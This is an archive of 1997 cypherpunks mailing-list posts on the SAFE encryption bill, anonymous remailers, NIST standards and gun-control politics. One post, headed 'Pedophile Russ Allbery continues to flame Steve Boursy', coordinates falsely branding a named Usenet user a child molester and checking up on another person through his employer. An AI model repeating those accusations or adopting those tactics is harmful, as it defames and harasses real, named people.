run a cooperative effort like this in a closed development model.

Thomas Koenig, Thomas.Koenig@ciw.uni-karlsruhe.de, ig25@dkauni2.bitnet.

------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 15 May 1997 15:46:22 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <199705140807.BAA14329@fat.doobie.com>
Message-ID: <19970515002241.20918@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 09:28:16AM -0400, Tom Allard wrote:
> >   Didn't her boss's murderer walk on the charge by using the defence
> > that he ate too many Twinkies?
> >   No political intrigue here...
> 
> That was the defense, yes.  Dan White was a former cop and treated like a 
> hero by fellow cops.  The prosecution never really challenged the Twinkie 
> defense, nor did they bring up politics or homophobia as motives.  With a 
> prosecution like that, who needs a defense?

Dan White committed suicide, after a while.  He probably died sooner
than the state could have killed him, with appeals and all.  Anyway, 
Feinstein has had a fair amount of first hand experience with gun 
violence -- more than most people on this list.  Her stand on gun 
control is probably the most principled and honest one she has made.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 15 May 1997 14:40:56 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: OTP
In-Reply-To: <199705150028.UAA32507@dhp.com>
Message-ID: <Pine.A41.3.95.970515002318.47996A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, lucifer Anonymous Remailer wrote:


I think Vulis needs each of us to send ten copies of this back to
him.

> Timmy May's reheated, refurbished, and regurgitated cud is completely 
> inappropriate for the mailing lists into which it is cross-ruminated.
> 
>            \|/
>         /~~~~~~~\
>        |  O   O  |
>    -ooo-----U-----ooo- Timmy May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 16:18:34 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Feinswine should be terminated from any role in politics
In-Reply-To: <199705140807.BAA14329@fat.doobie.com>
Message-ID: <v03007808afa0803a6de4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:22 PM -0800 5/14/97, Kent Crispin wrote:

>than the state could have killed him, with appeals and all.  Anyway,
>Feinstein has had a fair amount of first hand experience with gun
>violence -- more than most people on this list.  Her stand on gun
>control is probably the most principled and honest one she has made.

I agree. Her stand on gun control and guns _is_ her most principle and
honest one.

After all, she lobbied for gun control, denied she had ever carried a gun,
was found to have been carrying a gun in her purse while denying it and
while proposing to disarm the rest of us, and then dismissed her carrying
of the gun on the grounds that it was just a "teeny little gun" (or
something like this...I don't have her exact quote handy).

Her other stands are even less honest and principled than this, so Kent is
techically correct.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 15 May 1997 13:53:12 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <v03007802af9fa094e283@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970515012224.16535G-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim wrote:

> We're basically under assault from all directions. The bozos in Congress
> and state governments are spinning out new laws and obscure regulations
> faster than we can react...and of course they're using our money to
> generate these laws and lobby for them. Further, a mostly-brainwashed
> Washington media population is surprising uncritical of these blizzard
> drifts of new laws.

Hmmm... Do I get counted in the "mostly-brainwashed" category?

FYI, here are two bills that Feinstein introduced recently:

     S. 504. Children's Privacy Protection and Parental Empowerment Act
     of 1997. Prohibits the sale of personal information about children
     without their parents' consent. Introduced by Feinstein (D-CA) on
     3/20/97. Referred to the Committee on the Judiciary.
     
     S. 600. Personal Information Privacy Act of 1997. Amends FCRA to
     prohibit sale on non-public information, prohibits use of SSN as ID
     number, limits use of SSN on drivers liscenses. Introduced by
     Feinstein (D-CA) on 4/16/97. Referred to the Committee on Finance.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Thu, 15 May 1997 14:18:04 +0800
To: cypherpunks@toad.com
Subject: Response to "SAFE bill and cutting crypto-deals"
Message-ID: <Pine.LNX.3.95.970515020300.16023C-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 14 May 1997 23:00:17 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Response to "SAFE bill and cutting crypto-deals"


*******

Date: Thu, 15 May 1997 01:56:20 -0400
From: Jason Gull <jgull@UMICH.EDU>

While I don't particularly like this segment of the proposed bill either,
I think Declan is engaging in some minor hyperbole when he says "this
language has no business becoming law."  We already have federal laws
which make the use of a telephone or the mails to commit a felony into an
additional offense, so this provision -- quite similar to obstruction of
evidence, from the look of it -- doesn't seem at odds with precedent. 
With so many "hurdles," as Declan puts it, the language seems tailored to
the specific case where incriminating information is encrypted solely to
evade law enforcement and (like the passing of incriminating information
to one's attorney in an attempt to make it "privileged") it doesn't seem
outlandish to think that such conduct ought to be criminalized.  Granted,
there's the danger of the "slippery slope" -- that allowing any
restrictions on crypto will lead to a gradual encroachment of government
into other uses of cryptography.  However, whether or not it is a good
idea or not, politics and previosu law seem to firmly support such a
provision. 

-Jason Gull
jgull@umich.edu







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 15 May 1997 14:36:23 +0800
To: Tim May <cypherpunks@algebra.com
Subject: Re: Just Say "No" to Congress
Message-ID: <199705150629.CAA27911@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 AM 5/14/97 -0800, Tim May wrote:
>We're basically under assault from all directions. The bozos in Congress
>and state governments are spinning out new laws and obscure regulations
>faster than we can react...and of course they're using our money to
>generate these laws and lobby for them. Further, a mostly-brainwashed
>Washington media population is surprising uncritical of these blizzard
>drifts of new laws.
...
>The "there ought to be a law" crowd is in high gear.

I seem to recall a proposal from the late 19th century suggesting that
the Patent Office be closed because there was nothing left to invent.
In a similar, but more serious vein, I think Congress should be shut
down, because there are no new laws that we need.

Excepting, of course, my earlier anonymous suggestion that children be
kept from "soft targets".

I'm not a TruthMonger, but I play one on T.V.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 15 May 1997 11:58:28 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <199705150241.EAA25822@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Yes, you are missing a lot.  The bit about foreign inteligence agencies is
almost certainly a canard created by one Strassman at a conference in
Boston 2 years ago, then retracted.  Anyway, if you use chaining, it's
irrelevant.

See 

<A HREF="http://www.law.miami.edu/~froomkin/articles/ocean.htm">
http://www.law.miami.edu/~froomkin/articles/ocean.htm
</A> and
<A HREF="http://www.law.miami.edu/~froomkin/articles/arbitr.htm">
http://www.law.miami.edu/~froomkin/articles/arbitr.htm
</A>

for the gory details.

Note that I use a remailer beacause this group may be gatewayed to Usenet
and I am trying to keep down the spam...

On Wed, 14 May 1997, Roger J. Jones wrote:

> Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:
> 
> 1) Log all of their mail messages?
> 2) Are in many cases reputed to be run by foreign intelligence services?
> 
> Do they really trust the owner of the remailer? (Unless of course, it is their remailer?)  I seem to be missing something.
> 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | 
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 22:02:50 +0800
To: cypherpunks@cyberpass.net
Subject: (rumor) US TV host canned over comments
Message-ID: <199705151350.GAA04288@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Can anyone confirm for me that a US talk show host was canned for airing
her thoughts on the aid package for Iran's earthquake victims?  I heard
"Only bad people and terrorists live there.  If I had my way I'd drop an
atomic bomb on Tehran."  Anyone?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 16 May 1997 05:38:41 +0800
To: cypherpunks@toad.com
Subject: NEW!! CONFERENCE AGENDA IR AND SECURITY
Message-ID: <v0302093dafa09e05df1b@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



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Resent-from: "M.Beavis" <s_mark6@eduserv.its.unimelb.edu.au>
From: isn@sipo.reok.ethz.ch
Subject: NEW!! CONFERENCE AGENDA IR AND SECURITY
To: IRTHEORY@unimelb.edu.au

This message was sent to all institutions included in the ISN.
Please spread it within your institution. Apologize cross-posting.

*************************************************************
**                    CONFERENCE AGENDA                    **
**           INTERNATIONAL RELATIONS AND SECURITY          **
**                     ON THE INTERNET                     **
**                                                         **
**                          Run by                         **
**    ISN - International Relations and Security Network   **
**                 http://www.isn.ethz.ch                  **
*************************************************************

TO ANNOUNCE YOUR FORTHCOMING CONFERENCES ON THE INTERNET
USE OUR ADD-A-LINK FORM AT http://www.isn.ethz.ch

*************************************************************

As part of its electronic services, the ISN has newly
established the following directories:

1) An electronic CONFERENCE AGENDA in the field of
international relations, regional security, as well as
peace and conflict studies (including both physical
and virtual conferences). Conference announcements are
accepted independently from having an own home page.

2) a special DIRECTORY OF ELECTRONIC DISCUSSION LISTS
in the same fields.

The aim of the two new services is to facilitate information
exchange about international academic events and to promote
the use of electronic means for interactive dialogue within
the security community. Both directories are accessible from
the ISN home page.

Members of the community are called upon announcing their
forthcoming activities through this new public directories.

Thank you for your cooperation.

The ISN team

*********************************************************
The ISN is maintained by the Center for Security Studies
and Conflict Research at ETH Zurich, in conjunction with
the Euro-Atlantic Foundation, Brussels, and EINIRAS.
ISN is supported by the Swiss Government.

Contacts:
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 15 May 1997 20:35:46 +0800
To: cypherpunks@toad.com
Subject: Re: Pedophile Russ Allberry continues to flame Steve Boursy
In-Reply-To: <Pine.BSI.3.96.970515050435.12061E-100000@shell.thecia.net>
Message-ID: <akTq7D46w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


kibo <kibo@thecia.net> writes:

> > [DrG - if you want to follow up, please dig up the original article, not
> > my repose - thank you]
> >
> O.K., I will chop all of the header befor I post it, but this Russ Allbery

Thanks!!

> is becoming the biggest problem on usenet, since he supports Tim Skirvin.
> I think it is time for Russ to grow up and deal with the Net like a man.
>
> Time for him to become a child molester.

Well - if you want to say you heard that he's a child molester or that he
sounds like one, no decent ISP will have a problem. :-)

I think it would be fun to get Russ back on this list.

> > By the way, has anyone had a chance to verify whether Stan Kalisch who work
> > for the educational testing services is our net.acquaintance?  Thanks.
> >
>
> Yes, I called them at that number, and and boss called me back.

Great - is he or isn't he the same person as skalisch@crl??

Thanks

> All Russ has to do is say the word, and Tim Skirvin will stop his
> shit.  Russ Allbery is just as responsible for the Skirvin shit as
> Timmy boy himself is.
>
> Time to rip Russ Allbery a new asshole...

Maybe we should get Tim Skirvin on this list. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 15 May 1997 22:47:08 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: <Pine.GSO.3.95.970515073000.29288A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 15 May 1997 10:16:06 -0400
From: "Shabbir J. Safdar" <shabbir@vtw.org>
To: Declan McCullagh <declan@well.com>, fight-censorship@vorlon.mit.edu
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary

At 9:11 PM -0700 5/14/97, Declan McCullagh wrote:

>* The heinous section of the law that would create
>  broad new Federal felonies for some uses of crypto was
>  replaced. The amendment, offered by Rep. Delahunt
>  and adopted unanimously includes eight hurdles:
>
>	"Any person who, in the commission of a felony under
>	a criminal statute of the United States, knowingly
>	and willfully encrypts incriminating information
>	relating to that felony with the intent to conceal
>	such information for the purposes of avoiding
>	detection by law enforcement agencies or
>	prosecution..."
>
>  It's a solid improvement, but this language still has
>  no business becoming law. Problem is, nobody seems to
>  have the balls to stand up and yank it. Delahunt,
>  the amendment's sponsor, said the bill without the
>  amendment "could have a chilling effect on the
>  development and use of encryption." He added: "I
>  recognize that some supporters of this amendment would
>  like that this section be removed altogether." But it
>  doesn't seem likely.

I'm more than a little surprised at your take on this amendment.  This
exact language wasn't created by Representatives who don't know better, it
was created, shopped, and marketed to the hill by the folks at the ACLU
(Don Haines) and EPIC.  In response to concerns from the net, they
coordinated the letter from many groups to Goodlatte about the criminal
provision which just about everyone signed onto.

Then, EPIC and the ACLU worked out the language above, and got it passed
verbatim in response to the concerns of the net community.  They did a
great job here and really deserve a lot of kudos.  Why are you slighting
their work?

-S








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 15 May 1997 22:54:36 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: <Pine.GSO.3.95.970515073053.29288D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 15 May 1997 07:26:23 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary

Shabbir,

You're mistaken. I'm not "slighting their work" -- I called it a "solid
improvement."

Yeah, I know who shopped this around. I spoke with David and Don about
this last week, and didn't write about it then for fear of jeopardizing
their negotiations.

And come on, you're "more than a little surprised" by my take? Give me a
break. My position now is consistent with my position before -- and comes
as no surprise. Reread my previous posts. 

But you're missing the point: this whole "crypto in a crime" section
should not be in this bill in the first place. The new portion is much
better than the old, but it still has no business being law.

-Declan


On Thu, 15 May 1997, Shabbir J. Safdar wrote:

> At 9:11 PM -0700 5/14/97, Declan McCullagh wrote:
> 
> >* The heinous section of the law that would create
> >  broad new Federal felonies for some uses of crypto was
> >  replaced. The amendment, offered by Rep. Delahunt
> >  and adopted unanimously includes eight hurdles:
> >
> >	"Any person who, in the commission of a felony under
> >	a criminal statute of the United States, knowingly
> >	and willfully encrypts incriminating information
> >	relating to that felony with the intent to conceal
> >	such information for the purposes of avoiding
> >	detection by law enforcement agencies or
> >	prosecution..."
> >
> >  It's a solid improvement, but this language still has
> >  no business becoming law. Problem is, nobody seems to
> >  have the balls to stand up and yank it. Delahunt,
> >  the amendment's sponsor, said the bill without the
> >  amendment "could have a chilling effect on the
> >  development and use of encryption." He added: "I
> >  recognize that some supporters of this amendment would
> >  like that this section be removed altogether." But it
> >  doesn't seem likely.
> 
> I'm more than a little surprised at your take on this amendment.  This
> exact language wasn't created by Representatives who don't know better, it
> was created, shopped, and marketed to the hill by the folks at the ACLU
> (Don Haines) and EPIC.  In response to concerns from the net, they
> coordinated the letter from many groups to Goodlatte about the criminal
> provision which just about everyone signed onto.
> 
> Then, EPIC and the ACLU worked out the language above, and got it passed
> verbatim in response to the concerns of the net community.  They did a
> great job here and really deserve a lot of kudos.  Why are you slighting
> their work?
> 
> -S







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Graham C. Hughes" <graham.hughes@resnet.ucsb.edu>
Date: Thu, 15 May 1997 23:18:20 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705151347.JAA18147@bksmp2.FRB.GOV>
Message-ID: <199705151458.HAA11100@A-abe.resnet.ucsb.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Tom Allard writes:
> We can tally up the deaths in Rawanda to those created by
> government.

Oh, this is just charming.  People are still dying, and now you're
going to sit on the sidelines making tally marks for your pissing
contest.

You can't count up human lives and say ``this entity is more evil than
this entity.''  It doesn't work that way.  People are people,
regardless, and usually don't deserve that kind of premature
termination.

As for the running dictionary flame, by all means, piss on.  Perhaps
later, when you mature a little, discussion can get back to more
meaningful topics.
- -- 
Graham Hughes  http://A-abe.resnet.ucsb.edu/~graham/  MIME & PGP mail OK.
(define pgp-fingerprint "E9 B7 5F A0 F8 88 9E 1E  7C 62 D9 88 E1 03 29 5B")
(require 'stddisclaim)


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBM3skbiqNPSINiVE5AQHzhwP6Ayxaxcea6e+Ss7C2cxRJWSXeHnNd5Eb7
UscbiGypghWUt5293FikqGWPHBorY3IKqMS+OYtvuJ/tjBG1n236SP35zLlWFaxb
V3QJ1AtU/3DSwKq6Alr4lLnMn/1QU+CkhgzpSDyIIwGYyPvGTpdOg/zg0TBrWv2e
uuhyJv7CrlQ=
=FjfL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 15 May 1997 20:30:30 +0800
To: cypherpunks@toad.com
Subject: NIST Crypto Notices
Message-ID: <1.5.4.32.19970515120309.00916cf4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Two May 13 Federal Register notices by NIST:

NIST is planning to develop a FIPS for Public-Key Based 
Cryptographic Key Agreement and Exchange. This notice 
solicits comments regarding techniques for consideration
specifically including RSA, Diffie-Hellman, and Elliptic Curve
techniques. This standard will be for use in designing and 
implementing public-key based key agreement and exchange 
systems which Federal departments and agencies operate or 
which are operated for them under contract. More than one 
algorithm may be specified, consistent with sound security 
practices, to enable Federal departments and agencies
enhanced flexibility in the design, implementation, and use of
cryptographic systems.

   http://jya.com/nist051397.txt  (6K)

NIST is planning to develop a proposed revision to Federal
Information Processing Standard 186, Digital Signature 
Standard. This revision would specify additional public-key 
based digital signature algorithms (in addition to the Digital 
Signature Algorithm [DSA]) for use in designing and implementing 
public-key based signature systems which Federal departments 
and agencies operate or which are operated for them under 
contract. The purpose of the revision will be to enable
Federal departments and agencies greater flexibility, consistent 
with sound security practices, in the design, implementation, 
and use of public-key based digital signature systems.

   http://jya.com/dss-rev.txt  (6K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 15 May 1997 23:30:38 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: <Pine.GSO.3.95.970515080632.7217B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 15 May 1997 10:59:23 -0400
From: Barry Steinhardt <barrys@aclu.org>
To: "Shabbir J. Safdar" <shabbir@vtw.org>,
    Declan McCullagh <declan@well.com>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: SAFE vote and cutting crypto-deals, report from House  Judiciary

Declan and Shabbir,

I thought it might be helpful to your dialouge to give you the ACLU's
current views about SAFE. The language significantly limiting the
criminalization provision was indeed drafted by EPIC and the ACLU. Don
Haines and Dave Sobel did a great 

The language was an improvement , but it doesn't belong in the bill and we
are still lobbying to have the criminalization provision removed. 

All of us in the cyber liberties community need to watch this legislation
very carefully. It could easily get much worse as a "compromise" is reached
with the Administration. In the end,the bill could be laden with amendments
on issues like key recovery that defeat our purpose of making strong and
secure encryption generally available.

At some point, we may need to say that no bill is better than a bad bill.


At 10:32 AM 5/15/97 -0400, Shabbir J. Safdar wrote:
>At 7:26 AM -0700 5/15/97, Declan McCullagh wrote:
>>Shabbir,
>>
>>You're mistaken. I'm not "slighting their work" -- I called it a "solid
>>improvement."
>>
>>Yeah, I know who shopped this around. I spoke with David and Don about
>>this last week, and didn't write about it then for fear of jeopardizing
>>their negotiations.
>
>Then why didn't you give them credit for it in the story?  They should be
>lauded for writing this amendment which is a solid improvement. EPIC and
>ACLU did great work, and deserve more credit in your story than you gave
>them.
>
>-S
>
>
>
>

----------------------------------------------------------------------------
------

Barry Steinhardt			Barrys@aclu.org		
Associate Director			212 944-9800 ext 614 (v)
American Civil Liberties Union		212 354-5290 (fax)
132 West 43 Street			
NYC 10036

****   PGP Key available at: http://www.aclu.org/about/pgpkeys.html   ****

	Visit the ACLU Web Site http://www.aclu.org
	ACLU can be found on AOL at Keyword ACLU
	ACLU Supports the Global Internet Liberty Campaign (GILC)
	http://www.gilc.org







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 16 May 1997 01:03:24 +0800
To: cypherpunks@toad.com
Subject: Anarchy Books
In-Reply-To: <199705141907.PAA19087@bksmp2.FRB.GOV>
Message-ID: <v03007818afa0e157d674@[207.94.249.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:22 PM -0700 5/14/97, Tim May wrote:
>The meaning of anarchy, and how it differs from chaos and random killings,
>has been discussed many times. David Friedman's "The Machinery of Freedom"
>is a good book to start with. Bruce Benson's "The Enterprise of Law" also
>discusses how lawlessness is not at all a necessary part of "no rulers"

For anarchy in a fictional setting I recommend two books by Ursula K.
LeGuin.  "The Dispossessed" and "Always Coming Home".

In a lecture several years ago in San Francisco, she said of the two books
that in "The Dispossessed" I set out to describe an anarchy.  In "Always
Coming Home" I just let it happen.

BTW - When I read "Always Coming Home", I was over half-way thru the book
before I had any idea of what it was about.  Be prepared for a long period
of confusion as to why you are reading it.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 16 May 1997 00:23:45 +0800
To: "Roger J. Jones" <cypherpunks@cyberpass.net>
Subject: Re: FW: Anonymous Remailers
In-Reply-To: <01BC611B.8CD67F10@pc1901.ibpinc.com>
Message-ID: <v03007801afa0f2bee916@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:34 AM -0800 5/15/97, Roger J. Jones wrote:

>Roger J Jones Responded
>Several of you have suggested as Tim has that the chain of remailers is
>secure.  I suggest that the statement is only true to the extent that one
>wants to trace back a particular message.  On the other hand, if one wants
>to find the source of postings to anonymous remailers and has skilled
>access to the Internet the task is quite simple and does not even require
>attacking the remailers.  Of
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Care to tell us how this tracing is done without cooperation of the remailers?

Perhaps you don't understand how remailers work, how many messages they
accumulate to provide the mixing entropy, and how long they typically delay
messages. (Latency, or the delay, is not the central issue...mixing entropy
is. But, in practice, latency is associated with this.)


>
>I still seem to be missing something.........

I agree. But we can't help you, as you seem to be unknowledgeable about the
basic nature of digital mixes. If you won't take the time to figure out the
basics of how they work, how can we keep writing articles trying to correct
your misapprehensions?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 16 May 1997 00:33:43 +0800
To: cypherpunks@toad.com
Subject: Re: Difference in terms
In-Reply-To: <199705091300.OAA02217@server.test.net>
Message-ID: <v03007802afa0f44544cb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:43 PM -0800 5/14/97, Bill Stewart wrote:
>>Lutz Donnerhacke <lutz@as-node.jena.thur.de>writes:
>>>   key recovery is if I can get my key
>>>   key escrow is if you can get my key
>
>"Key Escrow" was "We want your keys".
>"Software Key Escrow" was "OK, Clipper was a loser, but we want your keys"
>"Public Key Infrastructure" was "Here, have some keys"
>"Trusted Third Party" was "Hey, trust us, we want your keys"
>"Key Recovery" is "OK, that didn't work, but we still want your keys"
>

SAFE is "All Americans deserve strong security and unlimited strength
crypto, but we still want your keys."

"Pro-CODE is about the right to have and export military-grade crypto, but
we still want your keys."

Or as Congressman J. Getalong put it, "SAFE is a step toward a future of
security and prosperity. The legitimate needs of law enforcement are being
met by this bill. We are good listeners of the NSA, and the NSA is a good
listener to all of us. And I do mean all of us. All Americans will prosper
from this new working relationship with Big Brother. War is Peace and
SAFEty is liberty,"

--Emmanuel Goldstein


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Thu, 15 May 1997 21:52:15 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <19970515002241.20918@bywater.songbird.com>
Message-ID: <199705151324.JAA16673@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



> Dan White committed suicide, after a while.  He probably died sooner than
> the state could have killed him, with appeals and all.  Anyway, Feinstein
> has had a fair amount of first hand experience with gun violence -- more
> than most people on this list.  Her stand on gun control is probably the
> most principled and honest one she has made.

He committed suicide in Oct 1985, after being released in Jan 1985.

Gun control wouldn't have stopped Dan White.  He was a former cop.

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 16 May 1997 00:50:54 +0800
To: adam@homeport.org
Subject: Re: `careerpunks'
In-Reply-To: <199705131158.HAA20185@homeport.org>
Message-ID: <199705151628.JAA05763@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack writes:
> 
> 
> 
> Adam Back wrote:
> > Seems to me many of the `cypherpunks' have become `careerpunks' and
> > are now more interested in trading crypto tips, trade gossip, than in
> > cypherpunks projects.
> > 
> > They went through the phase of buying kewl domain names (take a look
> > down the subscriber lists), tinkering with remailers, and have now
> > graduated to making money from crypto consulting, and lost interest in
> > the issues where they don't add to the bottom line.
> 
> 	I disagree with your analysis.  I'm working for a number of
> large companies as a consultant.  At each of them, I think I've done
> things that substantially imrpove customer privacy.

Same here.  I've been looking out for privacy problems in the systems
that I help my clients design.  Whenever I find one I have been able to
convince the client to redesign their product to fix it.
I'd never have this much influence as a mere cypherpunk.  But when I
can tell the client what the damage will likely be if their systems
are not sufficiently private, they become very interested in making them so.

